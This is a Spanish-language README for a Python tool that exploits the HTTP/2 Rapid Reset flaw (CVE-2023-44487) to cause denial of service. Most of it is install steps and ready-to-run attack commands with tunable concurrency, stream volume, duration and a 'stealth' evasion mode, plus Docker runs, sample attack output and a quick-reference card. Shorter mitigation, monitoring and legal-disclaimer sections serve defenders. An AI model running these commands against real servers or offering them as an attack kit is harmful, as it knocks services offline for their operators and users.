Exploit de DoS HTTP/2 de Restablecimiento Rápido CVE-2023-44487
Edición Profesional v1.0.1 | Autor: Sudeepa Wanigarathna
-orange.svg)
Tabla de contenidos
Descripción general
Un marco de evaluación de nivel profesional para CVE-2023-44487, la vulnerabilidad de Restablecimiento Rápido de HTTP/2. Esta herramienta ayuda a los profesionales de la seguridad a probar y validar sistemas frente a una de las condiciones de DoS de HTTP/2 más impactantes divulgadas en los últimos años.
Demuestra cómo la creación y el restablecimiento rápidos de flujos HTTP/2 pueden agotar los recursos del servidor y provocar condiciones de Denegación de Servicio (DoS).
Características principales de un vistazo
- Motor de ataque multiconexión — Conexiones HTTP/2 concurrentes
- Control de tasa adaptativo — Ajuste dinámico para la máxima eficacia
- Modo sigiloso — Cabeceras aleatorias y rotación de conexiones
- Informes completos — JSON/CSV con evaluación de riesgos
- Soporte de Docker — Despliegue en contenedores
- Monitorización en tiempo real — Métricas del ataque y progreso en vivo
- Registro profesional — Salida de consola con colores y registro en archivo
| Uso | Resultados |
|---|
 |  |
Detalles de la vulnerabilidad
CVE-2023-44487: Ataque de Restablecimiento Rápido de HTTP/2
Descripción técnica
La vulnerabilidad explota el mecanismo de gestión de flujos del protocolo HTTP/2:
- Creación de flujo — El cliente envía una trama HEADERS para crear un nuevo flujo
- Restablecimiento inmediato — El cliente envía inmediatamente una trama RST_STREAM
- Procesamiento del servidor — El servidor debe procesar ambas tramas, lo que consume recursos
- Agotamiento de recursos — Los ciclos repetidos desbordan los recursos del servidor
Impacto
- Agotamiento de recursos en servidores HTTP/2
- Posible Denegación de Servicio (DoS)
- Puede afectar a balanceadores de carga, proxies y CDN
- No requiere autenticación ni privilegios especiales
Características
Características principales
Capacidades avanzadas
- Soporte de proxy — Configuración de proxy extensible
- Agrupación de conexiones — Gestión eficiente de conexiones
- Recuperación de errores — Manejo elegante de los fallos de conexión
- Ajuste de rendimiento — Parámetros configurables para diferentes escenarios
- Integración CI/CD — Adecuado para pruebas de seguridad automatizadas
Requisitos
Requisitos del sistema
Dependencias
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
Instalación
1. Instalación rápida
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
2. Entorno virtual (Recomendado)
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
3. Instalación con Docker
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
4. Instalación manual
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
Inicio rápido
Uso básico
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
Prueba rápida (5 segundos)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
Evaluación completa (60 segundos)
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
Guía de uso
Opciones de línea de comandos
Configuración del objetivo
Configuración del ataque
Opciones avanzadas
Opciones de configuración
Utilice los indicadores de CLI anteriores para ajustar la concurrencia, el volumen de flujos, la duración y los informes. Prefiera valores más bajos de -c / -s / -d para la validación inicial y escale solo en sistemas que esté autorizado a someter a pruebas de estrés.
Soporte de Docker
Construir imagen
docker build -t cve-2023-44487-exploit .
Ejecutar evaluación básica
docker run --rm cve-2023-44487-exploit target.com
Ejecutar con parámetros personalizados
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
Guardar resultados localmente
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
Modo interactivo
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
Docker Compose
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
Ejemplos
1. Evaluación HTTPS básica
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
2. Evaluación HTTP (sin SSL)
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
3. Ejecución de laboratorio de alto rendimiento
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
4. Modo sigiloso
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
5. Prueba de validación rápida
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
7. Omitir validación
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
8. Prueba de producción autorizada
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
Interpretación de los resultados
Métricas de salida
Niveles de evaluación de riesgos
Ejemplo de salida
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
Recomendaciones de seguridad
Para administradores de sistemas
-
Aplicar parches de seguridad
- Actualice a las últimas implementaciones de HTTP/2
- Aplique los parches de seguridad específicos del proveedor
- Actualice los balanceadores de carga y los proxies
-
Implementar limitación de tasa
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
-
Límites de conexión
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
Endurecimiento de la configuración
| Parámetro | Recomendación |
|---|
| Flujos concurrentes máximos |
Monitorización
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
Controles de seguridad recomendados
Aviso legal
IMPORTANTE: LEA ESTO ATENTAMENTE ANTES DE UTILIZAR ESTA HERRAMIENTA
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos.
Términos de uso
Al utilizar esta herramienta, usted reconoce y acepta que:
- Usted tiene permiso explícito por escrito para probar el sistema objetivo
- Usted comprende los riesgos y el impacto potencial de esta evaluación
- Usted cumplirá con todas las leyes y normativas aplicables
- Usted acepta la plena responsabilidad por sus acciones
- Usted no utilizará esta herramienta para actividades no autorizadas
Usos prohibidos
Esta herramienta NO debe utilizarse para:
- Pruebas o ataques no autorizados
- Denegación de servicio contra sistemas que no posea o para los que no tenga permiso de probar
- Interrumpir sistemas de producción sin autorización
- Causar daños económicos
- Cualquier actividad ilegal
Declaración de responsabilidad
EL AUTOR Y LOS COLABORADORES PROPORCIONAN ESTA HERRAMIENTA "TAL CUAL", SIN NINGUNA GARANTÍA. EL USO DE ESTA HERRAMIENTA ES BAJO SU PROPIO RIESGO. EL AUTOR NO ES RESPONSABLE DE NINGÚN DAÑO NI PROBLEMA LEGAL DERIVADO DEL USO DE ESTA HERRAMIENTA.
El uso no autorizado de esta herramienta puede infringir leyes, incluidas, entre otras:
- Computer Fraud and Abuse Act (CFAA) — EE. UU.
- Computer Misuse Act — Reino Unido
- Reglamento General de Protección de Datos (GDPR) — UE
- Otras leyes locales, nacionales e internacionales aplicables
Autor
Sudeepa Wanigarathna
- Investigador de seguridad y probador de penetración
- Especializado en seguridad de aplicaciones y vulnerabilidades de protocolo
- GitHub
- LinkedIn
Registro de cambios
Versión 1.0.1 (Actual)
- Corregido el error de atributo
connection_attempts
- Mejorada la validación SSL/ALPN
- Añadida la gestión de tiempos de espera
- Mejorada la recuperación de errores
- Añadido el indicador
--skip-validation
- Mejorado el soporte de Docker
Versión 1.0.0 (Inicial)
- Lanzamiento inicial de la edición profesional
- Motor de ataque multiconexión
- Control de tasa adaptativo
- Modo sigiloso
- Informes completos
- Soporte de Docker
Licencia
Este proyecto está bajo la Licencia MIT; consulte el archivo LICENSE para obtener más detalles.
Agradecimientos
- Equipo del protocolo HTTP/2
- Investigadores de seguridad que identificaron CVE-2023-44487
- Comunidad de código abierto (proyectos
h2, aiohttp)
Referencias
Soporte
Para incidencias y preguntas:
Tarjeta de referencia rápida
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
RECORDATORIO: obtenga siempre la autorización adecuada antes de probar cualquier sistema. Utilice esta herramienta de manera responsable y ética.
Mantenido por Sudeepa Wanigarathna | Última actualización: agosto de 2026